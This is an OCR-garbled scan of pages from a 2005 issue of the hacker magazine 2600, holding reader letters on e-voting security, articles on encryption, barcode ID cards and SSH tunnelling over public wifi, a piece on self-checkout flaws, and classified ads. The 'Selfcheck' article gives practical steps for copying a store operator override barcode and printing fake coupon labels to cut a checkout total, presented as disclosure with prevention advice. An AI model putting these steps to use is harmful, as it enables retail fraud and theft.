ing  the loc k .  Thc vot ing offic ia ls  said that was not l i k e l y  
because thc people w o u l d  be suspic ious a n d  n o t  a l l ow i t .  
We l l .  doing someth ing l i ke th i s  i sn ' t  as d i fficu l t  a s  people 
would l i kc to t h i n k .  A l l  a person would l ikely have to do 
i s  L1SC some basic soc ia l  engineering tact ics ;  they come 
dressed as a cOll\puter techn ic ian .  tel l  them they  have  to  
pcrform some sort of maintenance on the mach ine ,  and I 
would bet Il ine out of ten t imcs  they would  g i ve the per­
son anyth ing they asked for. 

The o ldest adage in the world of computer security i s  
l I the only problem with computer security i s  when you 
think i t  ex i s t s . "  No matter what they do to try and secure 
these vOl i ng  mach ine'. ,  somcone , somewhere ,  w i l l  get a 
hold of one . Then they w i l l  figure out how i t  work s ,  aud 
how to mod i fy people 's  votes .  It sounds complex , but the 
process of  break ing  i nto these mach ines i s  a lot  easier 
than people would l i ke to th ink . Then once they crack the 
code .  a l l  i t  takes i s  one post on the Internet and the i n for­
mation w i l l  be spread a l l over the worl d .  Once that hap­
pens ,  hasical l y  anyone with a motivc would be ahle to 
al ter the votes any way they p lease . 

I t ind it amazing that the news and average people  are 
just  hecom ing  aware of t h i s ,  because the technology huffs 
have heen talk ing  about th i s  s i nce they i ntroduced the 
idea of  e-vot ing mach ines .  Most people  are so c l Lle le�� 
ahout a l l  of t h i s ,  I would l ind it h i l ar ious i f  I d idn ' t  li nd i t  
so terr i fy ing  tirst . 

Jeff 

near 260(): 
Great magal ine .  Picked up a COpy" in  the Netherland s .  

P a i d  cash of  course . I w o u l d  l o v e  t o  '.ee an art ic le  011 the 
voting mach ine scandal i n  the last U .S .  " c lect ion l1 s i nce:  

I .  The Republ icans sta l led a hi l l  requ i ring  veriliable 
paper pr intouts  for vot ing mach ines ;  

2 .  Many people who tr ied to vole for Kerry not iced 
the t ina l con f i rlllat io ll �aid they voted for BlI�h ;  
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3 .  In one Ohio prec i nct wi th  658 voters regis tered . 
4258 votes were cast for Bush  hy the machines (check out 
h t tp : //www.B lackhoxvot ing .org ) ;  

4)  I n  states where there were paper tra i l s  t h e  ex i t  pol l s  
c lose ly  m i rrored the mach ine count  but where there was  
no paper printout the e x i t  pol l s  were very d i fferent ;  

5 )  I n  B aker County.  F lor ida where 69 percent of the 
1 2887 regis tered voters were reg i stered Democrat , 2 1 80 

votes were reg istered for Kerry and 7783 for Bush  
(Source : Nexus Maga:il1e Decemher 2004 - January 
20(5 ) ;  

and when M ary land i n vest igated how easy i t  was to 
hack the mach i nes the security team picked up the wh ite 
paper on the Diebold mach ines and i n  fi ve m i n utes 
hacked a mach ine , altered resu l t s ,  and removed al l  traces 

of the hack i n g .  The mach ines were scath ing ly  d i scussed 
in  Doctor Dobbs Journal recent ly .  

I shou ld ment ion that I have been a developer for 
decades hut security is new to me:  I ' ve never had a need 
to learn about it, or the t i me to study i t  i n  depth , and some 
of your art ic les  stretch my bra in - someth ing  that has be­
come an uncommon experience in  my IT  work . Another 
good rcason to look for the magaz ine .  

PurpleSquid 
We should he care./111 1101 10 turn the dec/ronic voting 

issue into 1I partisan politics one . An)'Of1e , regardless of 
their I'olitiml beli�f.i·, stallds to lose iF there is itlsutficiel11  
security lind accoun tability in this techll% !{",. When this 
is made clear to one alld all. the odds (d-getting som£'­
thinK done ahout it will go W(/.V up . 

Practical Paranoia 
by Mojo 

For the tru ly  paranoid , computer security i s  a 
real problem . Keep ing your fi les safe is very, 
very difficu l t .  Not only do you need to know a 
few things about computers, but you need to 
know the law. I don 't condone doing anyth ing i l ­
legal w i th your computer, b u t  I d o  firmly bel ieve 
that c i tizens have a right to pri vacy and need as 
much protection from governments (which are 
not perfect) as they do protection by them.  

First ly, l e t ' s  look a t  encryption . There are ba­
s ical l y  two k inds of cncryption in common use 
today. The first is the one t ime pad . This method 
combines two fi les with an XOR (a Boolean 
logic function ) .  One fi le  is the data fi le  you are 
encrypt ing,  one is a key fi l e .  The b iggest advan­
tage of us ing this method i s  that, w i th a tru ly  ran­
dom key fi le ,  it is unbreakable .  The reason for 
thi s  is that there w i l l  be many different poss ib le 
key fi les ,  each of wh ich can decrypt the fi le  to 
something different . One key w i l l  g ive your se­
cret plans for world domination , another a J PEG 
of your cat . There is no way to tel l  which one i s  
the  right key, so no way to  prove wh ich  one  is  
your unencrypted fi le .  

Unfortunately,  t he  key fi le  has  to  be  as b ig as 
the data fi le ,  and can only be used once . Also ,  
you have to store the key fi le  somewhere . Even if 
you kept the key fi le on a USB drive which l i ved 
i n  your pocket , it m ight get stolen or the pol ice 
might take it from you . 

Th i s  is the reason that most people use more 
trad it ional encryption methods .  These methods 
re ly on taking so long to break that very few peo­
ple could real i st ical ly  do it, because tri l l ions of 
d ifferent keys have to be checked before the right 
one i s  found .  The most common is  Triple DES , 
or 3DES . I t ' s  popu lar because i t ' s  been tested a 
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lot and i s  unl i ke ly to be "broken ," i .e . ,  someone 
finds a very fast way to brute force it. AES is 
newer and i s  also becoming popu lar now, as wel l 
as B lowfish ,  Twofi sh ,  and many others . AES i s  
probably your best bet . I t ' s  worth not ing that 
l arge organ izations cou ld break these systems i n  
reasonable amounts of  t ime  (say, a few months) 
if they had hundreds of m i l l ions of pounds worth 
of computers . Chances are , some do (the U S  
government , perhaps) . The question i s  w i l l  they 
spend months decrypting your col lection of 
ASC I I  porn ? 

The advantage to these methods is that the 
key i s  very smal l (usual ly  under 200 bits) and the 
key itself can be generated from a password . Of 
course, you have to pick a secure password , but 
at l east there i s  no way to force i t  out of you , at 
l east not legal ly .  In the U K ,  recent laws requ i re 
you to turn over passwords to the pol ice, but i t ' s  
not c lear what would happen if  you have forgot­
ten it . 

The best methods of security requ i re both a 
password and some k i nd of physical key. For ex­
ample,  needing a password and key fi le stored on 
a USB drive would be ideal . 

Even wi th strong encryption , there are sti l l  
major problems t o  be solved . For a start , i f  you 
type in  your password, a key logger m ight be 
able to capture it . Depend ing on your OS, there 
may be a way around th i s ,  and of course it  is less 
effect ive if you also need a physical key. Try not 
to use the same password for more than one thing 
e i ther, and defi n itely don 't use the same password 
you log on to your Hotmai l  account wi th ! 

The biggest problem of a l l  is that of unen­
crypted ( " p la in text " )  versions of your encrypted 
1i les being stored on your computer. Th i s  most 
often happens because a program you opened the 
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fi le  with uses some temporary files or the mem­
ory the plain text i s  stored in  gets storcd i n  your 
swap space (page file in  Windows) . By far the 
best solut ion to th i s  is to s imply encrypt your en­
t i re hard drive , operating system and al l .  Linux 
supports encrypted data and swap part i t ions , as 
does Drivecrypt for Windows . Beware of pro­
grams that c la im to "erase " your temporary fi les 
or c lear your swap space . I t ' s  actual l y  very,  very 
hard to complete ly erase data from a hard drive . 

Even worse , it turns out that most common 
types of RAM can hold data for several hours , 
and i t 's  very hard to erase that data . Overwrit ing 

i t  i sn ' t  enough ; i t  al l  depends on how long the 
sens i tive data was stored for. The tru ly  paranoid 
might  l i ke to run Memtest86 for a few hours after 
they have been handl ing encrypted fi les . Maybe 
a screensaver could c lear the RAM in your TFf 
mon i tor as wel l .  The ent ire screen is stored in it 
and after- images can be recovered for a few 
hours . 

Noth ing is real l y  safe ,  but for the paranoid 
out there you can do a lot  to protect yourself. The 
real key i s  to know the l im i tations of your system 
and guard against them . 

IEllJl.ijtm3 C h e a p  I D  C a r d s  
by Barfbag 

barfbag@theblankpages .com 
Personal identity cards have become common 

in  the workplace to authenticate physical secu­
rity, as wel l  as to fac i l i tate secure , two-factor au­
thentication for l ogins . I ' l l  show you how you 
can set up your own system for your home or 
smal l office us ing a printer and less than $40 . 
The system revolves around a barcode scanner 
which used to be given away to Radio Shack cus­
tomers and Wired magazine subscribers . 

I am of course tal king about the infamous 
:CueCat (yes , the colon i s  part of the name) . The 
:CueCat was gi ven away so consumers cou ld 
scan advert i sements' barcodes which would take 
them to the advert i sers' s i tes . Of course , every 
scan was tracked by Dig i tal Convergence . the 
makers of the :CueCat . Soon after the :CueCat 
was released . hardware hacks were d iscovered 
which decoded the :CueCat's output . " Declaw­
ing" the :CueCat i s  beyond the scope of th i s  art i ­
c le .  but  there i s  a ton of information on how the 
hack i s  performed onl ine .  

How does the system work? S imply, barcodes 
are printed onto cards which can then be decoded 
to numbers when scanned . The best part is that 
the :CueCat works seamless ly by dumping i ts 
scan through the keyboard input .  mean ing that i t  
can be used whenever you would normal ly type . 
Here is a l i s t  of parts you w i l l  need along with 
approximate prices .  
Items to huy:  
:CueCat - $3 .49-6 .99 each , on ehay 
- "huy-it-now, " already declawed 
Lami;J{/tor - $20 .00 4 '( Laminator 
Laminator Stock - $4 .99 .t()r 
- l oa credit card sized sleeves 
Other stujfyou might need: 
£xacto knile 

Index cards 
Printer 
Paper 
Tape 

Start by downloading a barcode designing 
program . I recommend " B arcode Generator" for 
Mac OSX , which can be found on version­
tracker.com .  Use the program to encode an arbi­
trary number us ing the UPC-A barcode type . 
Next, print the barcode onto an i ndex card . Th i s  
can be  done by  taping the  card to a sheet of  paper 
which already has the barcode prin ted on i t .  That 
way i t  w i l l  be easy to l i ne up the index card wi th 
the spot that the barcode w i l l  be printed on . Then 
s imply reload the paper and i ndex card assembly 
and pr int  again .  I cannot be held responsible for 
any printer malfunctions th i s  may cause,  so i f  
you  want to play i t  safe just  print the  barcode on  
normal paper. Next , cu t  the  index card to  the  ap­
propriate s ize using an old cred i t  card and an Ex­
acto kn ife .  Laminate the card us ing the d irections 
that came with the laminator (RTFM) . F inal ly ,  
open a text  document and scan your card a few 
t imes unt i l  you get a long string of digi ts  to ap­
pear. You might want to do th i s  a few t imes be­
cause occas ional ly you w i l l  get a bad scan . 

When done. you can set your password to th i s  
number and then whenever you w i s h  t o  login to 
th i s  account you have only to scan your card . for 
more security you can set your password to the 
number generated by the scanner plus your nor­
mal password . Then effect ively you have two­
factor authcnticat ion (someth ing you have and 
something you know) .  Of course this w i l l  requ i re 
you to entcr your password after scanning your 
card but i t  w i l l  stop people from s imply scanning 
your card and effective ly stea l ing your password . � credit card (ff)r tracing) 
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by Samjack 
Wifi hotspots such as those at your local cof­

fee shop are wonderfu l l y  convenient .  They let 
you get your browsing ,  emai l ,  and 1M fi x  whi le  
hav ing a snack and actual ly  socia l i z ing w ith oth­
ers in  person .  The problem is that for i t  to be a 
good hotspot ,  anyone needs to be able to use i t .  
Now you  are real ly " social iz ing"  w i th  the  others 
around you s ince they can read your emai l ,  in­
stant messaging .  and see what you are web 
browsing .  Previous art ic les in 2600 have touched 
upon the fundamenta ls  of using SSH (Secure 
SHel l )  to solve our l i tt le problem. You can check 
out " Remote Comput ing Secured" by Xphi le  in 
20 :4 as wel l  as "Traversing the Corporate Fire­
wal l " by superbeast in 20 : 2 .  The common con­
cept i s  that of port forwarding .  Use an encrypted 
SSH tunnel to a desti nat ion you reasonably trust 
and d i rect your activ i t ies through it. This en­
crypts your easy to read traffic over the exposed 
l i nk of the w ireless unt i l  i t  comes out of the SSH 
server and looks l i ke normal traffic originating 
from there . Now our friends i n  the coffee shop 
cannot read our emai l ,  i nstant messaging,  or web 
pages unless they control the SSH server or the 
network i t  i s  on . 

Port Forwarding 
Different k i nds of net traffic travel over dif­

feren t  TCP/IP ports . SSH is only capable  of for­
warding TCP (connection oriented) port 
connections .  Fortunately ,  the three th ings we 
want to keep private are TCP based . There are 
three types of port forward ing in SSH . These are 
local , remote , and dynamic .  The local and dy­
namic are what we need to solve our problem . 
The trick w i th port forwarding of any type is to 
think of it relat ive to the SSH server or c l ient de­
pending on the type of forwarding .  If we web 
browse a s ite that tell s  us  what IP  we are coming 
from i t  w i l l  report the IP of the SSH server, not 
our laptop in the coffee house . 

Local Port Forwarding: This makes the SSH 
c lient l i sten on a certai n  port , then forward the 
traffic to the SSH server. The SSH server then 
sends the traffic on to the destination IP  and port 
we specify. Destination Relative to SSH Server. 
SSH Command Line option: -L 10caIPort :dest ina­
t ionIP :destinationPort 

Remote Port Forwarding : Thi s  makes the 
SSH server l i sten on a certain  port , then forward 
the traffic back to the SSH c l ient .  The SSH cl ient 
then sends the traffic on to the dest i nation IP and 
port we specify. Destination Relative to SSH 

client. SSH Command Line option : -R 
remotePort :dest inat ion IP :destinationPort 

Dynamic Port Forwarding: Th is  makes the 
SSH c l ient l i sten on a certain  port pretending to 
be a socks4 proxy server. All traffi c going to that 
" proxy"  gets sent through the SSH connection to 
the S S H  server. The SSH server then sends the 
traffic on to the destination such as 
www.2600 .com.  The best part is anything that 
supports socks proxy can use th i s  option . Keep 
that in  mind when we get to our instant messag­
ing c l ient .  Destination Relative to SSH Server. 
SSH Command Line option : -D local Port 

Choosing an SSH Server 
We have several options for a trusted SSH 

server. We can  check for an  I S P  that a l lows  con­
sole login for our account on a * n i x  box that has 
SSH runn ing or we can setup SSH server at 
home on our h igh-speed connection . A good free 
shel l  s i te i s  at the Free She l l  Project :  
www.hbx .us/she l l s/ index .php .  (Of course , you 
have to trust their boxes not to be sn iffing al l 
your traffic .  Just  SSH to nova .hbx .us w ith login 
and password of new to set up an account . )  

SSH Client 
For *n ix  users most i nstal lat ions have S S H  

already instal led .  We w i l l  need t o  execute the fol ­
lowing command . Windows users may also use 
this command if  they have Cygwin i nstal led (see 
www.cygwin .com) . An explanation of cygwin  i s  
beyond th is  art ic le .  

Ssh - I  username -L 25:mailserver:25 -L 
1 lO:mailserver: 1 1 0  -D SOOO sshhost .com 

Let us  breakdown the command l ine .  
1 - username i s  where you specify the user­

name to login to the remote SSH server. 
-L25:mailserver:25 tel ls  our SSH c l ient to 

l i sten on local port 25 (SMTP) , send any traffic 
to it through the tunnel ,  and have the SSH server 
resend it to the des ired mai lserver on port 25 . 

-LlIO:mailserver: no tel l s  our SSH cl ient to 
l i sten on local port 1 1 0 (POP3) ,  send any traffic 
to it through the tunnel , and have the SSH server 
resend i t  to the des i red mai l server on port 1 1 0 .  

-DSOOO tel l s  the c l ient t o  l i sten on local port 
8000 and emulate a SOCKS proxy server. Any 
traffic wi l l  be sent through the tunnel and off to 
its des i red destination from the SSH server. 

For Windows users you can also use PuTTY 
in add it ion to Cygw i n .  PuTTY is a our program 
that lets you do things l i ke telnet , rlog i n ,  and of 
course S S H .  You w i l l  fi nd the port forward ing 
options on the SSH->Tunnels category tree 
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selection . Make sure to add the ports you enter 
and then go back and save your configuration on 
the Session category selection so you can reuse 
your setup l ater. 

Encrypting the Email . IM. and Web Traffic 
Now we have our SSH session to a reason­

ably trusted server to act as our proxy traffic 
poin t .  The session forwards the ports we need to 
cover our emai l . I M .  and web brows ing .  We need 
to go into our actual c l ient programs for those 
functions and tc l l  them to use the encrypted 
tunncl . 

Notc if you usc a software fi rewal l  on your 
laptop such as Zonealarm you may need to allow 
your system to let the SSH c l ient l i sten on port s .  

Our  ema i l  c l ient i s  casy enough . Go into your 
mai l  c l ient sett ings and change your SMTP and 
POP3 server to be local host . Your emai l  traffic 
from your laptop to the S S H  server w i l l  be en­
crypted if  you properly stated your real 
mai l server in  the command l i ne sect ion : -L 
25:lI1ailserver:25 -L I I O:mailserver: I I O  replac­
ing the mai l server as your real one . Try sending 
and rece iv ing some emai l .  

I nstant messaging i s  a l i tt le trick ier. Depend­
ing on what c l ient you use for 1M i t  may or may 
not support socks4 proxy.  I f  your c l ient does not 
you should check into changing over to Tri l l i an 
from www.ceruleanstud ios .com . You can use 
th is  onc c l ient for a l l  the major 1 M  scrv iccs such 
as AOL and M S N .  Tri l l ian can then bc told to use 
proxy by going into Preferences-General-Proxy.  

Selfcheck 
by Bob Krinkle 

Thc author of this art ic le cannot be held ac-
countable for the act ions of readers . Th is  art ic le 
was written with the best intent ions , helping se­
cure selfchcckout machines everywhere by 
point ing out the ir obvious flaws . Do not attempt 
to do what may sound suggestive in th is  art ic le ;  
they are only examples . 

lntroduction 
There are inherent flaws in many selfcheck­

out systems .  Also ,  company pol i t ics may inh ib i t  
compan ies from securing these stations .  These 
stat ions show an image of you and a scanner 
as we l l  as a short message say ing you arc be ing 
watched . But th is  is just a webcam re lay 
that docs not save any images .  They arc NCR 
E-series . 

Check Use Proxy, SOCKS4 and spec ify local­
host as the proxy server. Now restart Tri l l i an 
wh i le the SSH tunnel is up and you should get 
connected . 

Web browsing is the eas iest . Just go i nto your 
browser options and specify localhost as the 
socks proxy server. One note: I f  you use I n ternet 
Explorer, you need to go i nto your In ternet Op­
t ions->Connection Tab->Lan Settings->Use a 
Proxy->Advanced . You must make sure only 10-
calhost and port 8000 (port per our example) are 
spec i fied . A l l  e lse should be b lank or web brows­
ing w i l l  not work properly through our SSH tun­
nel . 

The quick and d i rty check that your emai l ,  
1 M ,  and web browsing are going through the tun­
nel? Shut down your SSH c l ient ,  whichever one 
you chose to use . Then try your apps again .  I f  
they fai l  then you know the tunnel has to be up 
for them to work . I f  you are rea l ly  d i l igent you 
could get a buddy to sn iff your traffic and see if 
he gets anyth ing usefu l . 

Hello to whomever hijacked the pay�/()f'-use 
wireless access system in Dallas/Ft. Worth air­
port . Selling pilks ' derault IE home page to 
http://we-know-where-you-Iive! is sure to inspire 
paranoia . Thanks /i)r proving my point that puh­
lic wireless cannot he trusted. So, hesl wishes /0 
everyone in using SSH to cover your plaintext 
lraffic over puhlic wireless . 

what is scanned at each stat ion . Also,  if there are 
any warn ings l ike improper weight of i tems (e .g . ,  
putting two items after scanning one ) ,  age re­
strict ion s ,  etc . ;  these warn ings can be overridden 
at thc main terminal  or at each station with the 
Selfcheckout Operator Key. The key cons is t  of a 
barcode ( w ithout printed numbers) that can be 
scanned ( l i ke a product) which c lears warnings 
or br ings up a menu of options . 

Obtaining the Selfcheckout Operator Key 
Many t i mes the operator key is left hanging 

on the main term inal or left c lose by. Many man­
agers also have the ir  own override key on their 
keyring and o ften wear their key on the outside 
of their pants (on a d-ring or s imi l ar) . Obtain ing a 
copy of the key is easy because the operator sta­
t ion i s  usually left unillanned in the interest of 

Background Information saving labor hours . Another cashier is responsi-
If  you ever walk up beh ind the operator of ble for keeping track of a real chcckstand and the 

thcsc s ta t ions . you ' l l  f i nd a screen that watches sel fcheckout s .  With no olle around i t  would brJ 
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easy for anyone to walk up and take a p icture of 
the barcode wi th a camera phone or scan it w i th a 
PDA and a CF Barcode reader, the latter being 
the more expens ive .  After scann ing the barcode , 
e i ther at home wi th a picture or at the store wi th a 
PDA or laptop , one could generate the same bar­
code with numbers g iven by scann ing the bar­
code wi th their own scanner. (EAN 1 3  [glabe l s ,  
barcode , kbarcode , or  http://b i sqwi t . i k i .fi/bar 
'-code .htm l ] )  

Mischievous Activities 
After returning wi th your new operator over­

ride key, several things can be done such as over­
r iding "free " coupons that ask for a price or 
enter ing the PLUs of store coupons and other 
PLU codes .  After logging in to the machine one 
great option is "Ass is t  Mode" which brings up a 
POS keyboard and al lows the employee to assist 
you with products that may not ring up right .  
Many of the store coupons at somc chains do not 
let  you enter a quantity for coupons .  But  i f  you 
have the t ime and no one i s  watching the stat ion 
you could potent ia l ly enter a l i m it less amount of 
these coupons .  Th i s  would look suspicious to 
anyone around though and i t  does say that you 
are logged i nto store mode on the operator sta­
t ion . Be sure that the operator i s  preoccupied and 
spend the least amount of t ime at the stat ion as 
poss ib le .  

Making Other Barcodes 
You can make your own U PCs to scan regu­

larly entered PLUs by preceding all the rest of 
the barcodes wi th zeroes .  So to make a barcode 
to scan a store coupon with the PLU 9 1 7 1  you 
would make a UPC-A barcode 00000009 1 7 1  and 
let it generate the checksum.  

Example : After pnntIng 1 00 l abels wi th a 
$3 .00 meat coupon on i t ,  p lace those st ickers on 
indi v idual packets of Kool-Aid or something 
smal l and cheap , return to the store , pick up 
something e lse ,  and place a l abel w ith the over­
ride barcode on i t .  After scanning a couple of 
items and the override barcode on the product 
you shou ld be able to scan your modified packets 
tak ing the coupon of your total for each .  Once 
logged in as an employee regulat ing the machine 
i t  wi l l  not compla in about anyth ing you do. The 
machine has not been configured to rea l ize your 
total i s  below zero dol lars and w i l l  g ive you the 
correct amount of change . 

Preventing Theft 
There are several ways for stores to prevent 

these kinds of theft .  Stores should keep these 
override barcodes out of the sight of customers . 
Managers ' keys should be kept inside the pockets 
at all unnecessary t imes . Do not bel ieve in  secu­
rity by obscur i ty ( i t  never works) .  Just because 
there are no printed numbers doesn ' t  mean you 
should feel safe that no one can f igure it  out . Man 
these operator stat ions at a l l  t imes even if that 
means d iv i s ion managers verify ing that someone 
i s  in  there occas ional ly (or making store man­
agers' bonuses conditional on i t ) . Work with soft­
ware developers to redesign aspects of software 
to log photos for anyone logging into " Store 
Mode" and perhaps us ing Smart Cards or RFI Ds 
instcad of EAN- 1 3  barcodes .  I t  m ight also be 
wise to kecp somc of the PLUs and barcodes for 
store coupons out of the publ ic eye . Last ,  but cer­
ta in ly not least ,  always l i sten to your employees 
who work on these mach ines for suggestions and 
warn ings . 

Announcing the 2600 Easter Egg Hunt! 
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Happenings 
GRAYAREA.INFO, the n o n -traditi o n a l  hacker school .  Come learn beyond just  

test  a n swers. We teach the sk i l ls  a n d  methodologies you rea lly need.  Atla nta. 

M a rch 7th thru  10t h ,  2005.  See website for m o re i nfo and registrati o n .  

INTERZONE 4, the a n n u a l  h a cker c o n  h e ld i n  Atla nta w i l l  be h a p p e n i n g  March 

11th t h r u  13th 2005.  This  year we are i n troduci n g  PacketWa rs(tm ) ,  the u lti mate 

hacker's contest. Come lea r n ,  o r  join t h e  fu n .  

See website fo r more d etails :  i n terzOne. com.  

NOTACON 2005: NOTANOTH ERCON. Now i n  o u r  second year ,  Notacon believes in  

the fusion of tech n o logy, art,  a n d  c o m m u nity. J o i n  u s  Apri l 8-10, 2005 at the 

H o liday I n n  City Centre i n  Clevela n d ,  O H  for something a little different than 

your u s u a l  can .  Two tracks of speakers ,  a professi o n a l  track Fr iday as  wel l  a s  

g a m e  s h o w s ,  contests, prizes, Live m usic, independent f i l m s ,  a n d  good clean 

hacker fu n .  F ind out for you rself that Clevela nd rea t ly isn't that bad! Informa­

tion and registrati o n  details a re at http://www. notaco n . o r g .  

SUMMERCON 2005 PRESENTS: TOOLS OF T H E  TRADE. Come one,  come a ll !  H a ck­

ers, p h reakers,  p h  rackers, feds, 2600 shock  troops ,  cops, "security profession­

a ls , "  U4EA,  rOOt ki d s  club,  p ress,  groupies,  conference whores, kOd3rz,  

convicted felo n s ,  concerned parents, a n d  teachers !  Hackers a n d  beer coll ide for 

the Tec h n o ca lypse that the prophets warned you about.  June 4-6 i n  Austi n ,  

Texas.  O m n i  Au sti n H o t e l  Downtown , 7 0 0  San Jacinto at 8 t h  Street, Au sti n ,  TX 

78701 For m o re i nfo rmati o n ,  t-shirts, registration ,  a n d  m u c h  m o re: 

http://www. s u m m e rco n . o rg .  Pre-register now! 

WHAT THE HACK! Times have changed:  Terrori s m ,  metal d etecto rs, speci a l  new 

laws, a n d  our leaders getti n g  ever closer to their  dream of "knowing it all." It's 

been a crazy a lmost fo u r  years since the last ti m e  al l  the tribes of  the hacker 

u niverse camped out i n The Netherla n d s  at HAL2001.  H i g h  ti m e  to get together, 

m eet, reflect, show our projects, a n d  discuss o u r  ideas .  No matter whether 
you 're i nto f igur ing out what t h ey're u p  to, doing  something about it, o r  havi n g  

a g o o d  ti m e  with s o m e  of t h e  sma rtest a n d  fu nniest people w e  k n o w  o f ,  c o m e  t o  

W h a t  The H a c k ,  J u ly 2 B - 3 1 ,  near  Den B o s c h ,  The Netherla n d s .  F o r  m o re i nfor­

mati o n ,  visit http://whatthehack .org .  

For Sale 
CHECK OUT J EAH. N ET for rel iable a n d  afford a b le U n i x  s h ells.  Beginners a n d  ad­

vanced users love J E A H ' s  Unix  sh ells for perfo r m a n ce-driven uptimes a n d  a 

h u g e  list of Virtual  Hosts.  Yo u r  account lets you store data,  use IRe ,  S S H ,  and 

e m a i l  with  c o m p lete p rivacy a n d  secu rity. J EA H  a lso offers fast  a n d  stable  h ost­

i n g  for your web site, plus the abi lity to register and m a n a g e  your  own d o m a i n  
n a m e .  AU at v e r y  competitive p rices .  S p e c i a l  for 2600 subscribers: Mention 

2600 a n d  receive setup fees waived. Look to www.j ea h . n et for the excepti o n a l  

service a n d  atte ntion you want.  

FREEDOM DOWNTIME ON DVD! Years i n the making but  we hope it was worth the 

wait .  A d o u b le DVD set that i n cludes the two h o u r  d o c u m e nta ry, a n  i n-depth i n ­

terview w i t h  Kevi n Mitnick,  a n d  nea rly t h ree h o u rs of extra scenes, l o s t  foota ge,  

a n d  m iscella neous stuff .  PLus capti o n i n g  for 20 (that 's  right ,  20) la nguages, 

c o m m entary track,  a n d  a lot of things you'U just have to f ind for you rself! The 

entire two disc set can be h a d  by sending $ 3 0  to Freedom Downti m e  DVD, PO 

Box 752, M i d d le I s la n d ,  NY 11953 USA o r  by orderi n g  from our o n li n e  store at 

http://store . 2600.co m .  (VHS copies of  t h e  film stilL available for $ 1 5 . )  

NETWORKING A N D  SECURITY PROOUas available at Ovati o n Tec h n o logy.co m .  

We're a Network Secu rity a n d  Internet Privacy c o n s u lti n g  f i r m  a n d  s u p p lier  of 

netwo rking h a rdware. Our o n li n e  store features VPN and firewall h a rdware, 

wireless h a rdware, cable and DSL modems/routers, I P  access devices, VolP 

products, parental control products, a n d  ethernet switches .  We pride o u rselves 

o n  p rovi d i n g  the h i g h est level of  technical  expertise and customer satisfacti o n .  

O U T  commitment to y o u  . . .  N o  s u r p rises!  E a s y  retu r n s !  Buy with confidence!  Af­

ter aU, Secu rity a n d  Privacy is o u r  business!  Visit us at 

http://www.Ovati o n Tec h n o logy.com/store . h t m .  

HACKER LOGO T-SHIRTS AND STICKERS. T h o s e  " in  the k n ow" recognize The G lider  

a s  the new Hacker  Logo.  T-shi rts a n d  stickers e m b lazoned with the H a cker Logo 

can be fo u n d  at HackerLo g o . c o m .  O u r  products a re top q u a lity, a n d  will visua lly 

associate you as a member  of the h a c ker  c u lture. A portion of the p roceeds go 

to support  the E lectro nic  Frontier Foundati o n .  Visit u s  at www. H a c kerLo g o . c o m !  

PH RAINE. Tech n o logy i nformati o n  without the noise.  A new electro nic q u a rterly 

written with first gen erati o n  hacker c u riosity, ethics, and technical  abi lity in 

m i n d .  Order yo u r  copy o n li n e  for a m i n i m a l  p rice at 

http://pea rlyfreepress. m a d o s h i . com/ph rai ne.  

HACKER T-SHIRTS AND SfICKERS at JinxGear. c o m .  Stop running around naked! 

We've got new swa galicious t-shi rts, stickers,  a n d  miscella neous contra b a n d  

coming out m o n t h ly i n cluding your c l a s s i c  hacker/geek desi g n s ,  hot-short 
pa nties, dog shi rts, a n d  a whole mess of kickass stickers.  We a lso have LAN 

pa rty listi ngs ,  hacker conference listi ngs ,  message fo r u m s ,  a p h oto ga llery, a n d  

m o n t h ly contests. H e l l ,  don 't  even buy, just  sign o n  the m a i l i n g  L i s t  a n d  h a v e  a 

chance  to wi n free stuff. Or follow the easy i n structions to get a free sticker. Get 

it all at www.Ji n x . co m !  

PHONE HOME. Tiny, sub-mi niature, 7/10 o u n ce, progra m m a b le/reprog r a m m a ­

ble touch-tone, m u Lti-frequency ( DTMF)  dia ler which can store u p  to 1 5  t o u c h ­

tone digits. Unit  i s  held against  the tele p h o n e  receiver's micro p h o n e  f o r  

d ia li n g .  P r e s s  " H O M E "  to a utomatica lly d ia l  the stored digits which can then b e  

h e a r d  through the u ltra mi niature spea ker. I d e a l  f o r  E.T. ' s ,  c h i l d r e n ,  Alzhei mer 

victi m s ,  lost dogs/chimps ,  significant others,  h a ckers, a n d  com puter wiza rds.  

Give o n e  to a boy/girl  friend o r  to that potenti a l  "someone" you meet at a pa rty, 

the superma rket, school ,  or the mall ;  with your pre-prog rammed telep h o n e  

n u m ber, h e / s h e  w i l l  a lways be a b Le to call  y o u !  A l s o ,  ideal  if you d o n 't want t o  

"disclose" your telep h o n e  n u m ber but want someone to be a b le to call  you Lo­

ca lly o r  long distance by telephone.  Key ring/cli p .  Li mited q u a ntity availabLe.  

M o n ey order o n ly. $24.95 + $3.00 S/H .  Mai l  order to:  PHONE HOME, N i m rod Di­

vi s ion ,  3 3 1  N. New BaLLas Road,  Box 410B02, CRe,  Missouri 6 3 141.  

LEARN LOCK PICKING It's EASY with o u r  book  a n d  new video. The 2 n d  edition 

book adds lots m o re i nteresti n g  material a n d  i llustrati o n s  while t h e  video i s  

fil led w i t h  comp uter graphic  cutaway views. Learn what t h ey don 't  want you to 

know. Any secu rity system can be beaten, many times ri g h t  t h ro u g h  the front 

door. Learn the secrets and wea kness of today's locks. If you want to get where 

you a re not s u p posed to be, this book could be your a n swer. Exp lore the em­

poweri n g  world of lock picki n g .  Send twenty bucks for the book o r  th i rty-five 

for the video to Sta n d a rd Publicati o n s ,  PO Box 2 2 2 6 H Q ,  C h a m p a i g n ,  I L  61825 or 

visit u s  at www.sta ndardpublications .com/di rectj2600.html  for your 2600 

reader p rice discount.  

SIZE DOES MATTER! The Twin Towers may be gone forever but a detai Led i m a g e  

still exists of the ma ssive 374-foot r a d i o  tower that was perched a t o p  O n e  World 

Tra de Center. This h igh-quality g lossy color poster i s  available i n  two sizes ( 1 6 "  

x 20" a n d  20" x 30") a n d  m a k e s  a specta cular g i f t  for engi neers, scientists, r a ­

dio a n d  televis ion buffs, o r  a nybody who a p p reciates a u n i q u e ,  rarely s e e n  view 

of the World Tra de Center. Visit www.wtc- poster. u s  for s a m p les and to order 

your own poster. 

CAP'N CRUNCH WHISTLES. Brand new, o n ly a few left. T H E  ORIGINAL WHISTLE i n  

m i n t  conditi o n ,  never used.  J o i n  t h e  elite few w h o  o w n  this treasure!  Once they 

a re gone, that i s  it - there a rc no more!  Keychain  h o le fo r keyri n g .  Identify 

you rseLf at meeti n g s ,  etc. a s  a 2600 member by d a n g li n g  your keychain  and say­

i n g  nothing. Cover o n e  hole a n d  get exali.ly 2600 hz ,  cover the other h o le and 

get a n other  freq uency. Use both h o les to cal l  your  dog o r  dolphi n .  Also, ideal 

